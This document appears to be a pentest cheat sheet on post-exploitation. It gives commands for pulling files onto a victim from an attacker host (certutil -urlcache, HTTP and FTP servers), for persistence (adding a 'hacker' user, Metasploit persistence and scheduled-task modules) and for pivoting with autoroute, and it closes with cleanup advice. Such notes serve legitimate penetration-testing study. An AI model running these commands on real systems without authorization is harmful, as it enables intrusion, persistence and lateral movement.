Post Exploitation

Index:

File-Transfers

- Certutil

```
certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txt
```

- HTTP - Change to the directory you want to host

```
python -m SimpleHTTPServer [port]
```

- Browser

```
Navigate directly to the file (%20 for spaces)
```

- FTP
  - On Attacker Machine

```
python -m pyftpdlib 21
```

  - On Victim Machine, Browse to

```
ftp 10.10.10.10
```

- Linux

```
wget https://example.com/example.txt
```

Maintaining-Access

- Add a user

```
net user hacker password 123 /add
```

- Persistence Scripts

```
run persistence -h

exploit/windows/local/persistence

exploit/windows/local/registry_persistence
```

- Scheduled Tasks

```
run scheduleme

run schtaskabuse
```

Pivoting

Suppose you're on `192.168.x.x` **Network** and so your Victim is.

But when you get a shell into machine, you try the following commands:

```
printroute
ipconfig
```

And you notice that there is **another network** (say `eth1` `10.10.10.x`)

How do we **get into the other network?**

We do something called as **PIVOTING → →**

Setup and Pivot!

Fire up `msfconsole` and **Route** to the other network

```
run autoroute -s 10.10.10.0/24
```

List all the routes

```
run autoroute -p
```

Background that session

```
background
```

Let's Pivot into that Machine (`10.10.10.x` Network)

```
use scanner/portscan/tcp
```

Set the **RHOST** and an **Open Port** (Since we know it's **AD**, we can use **445**)

```
set RHOSTS 10.10.10.2
set PORTS 445

run
```

You have **successfully pivoted** into that machine! (which you didn't even know about because of **different network**)

Cleanup

Make the system/network as it was when you entered it.

- Remove **executables**, **scripts**, and **added files.**
- Remove **malware**, **rootkits**, and **added user accounts.**
- Set settings back to **original configurations.**

:) Nice Work, Good Luck on Pentests!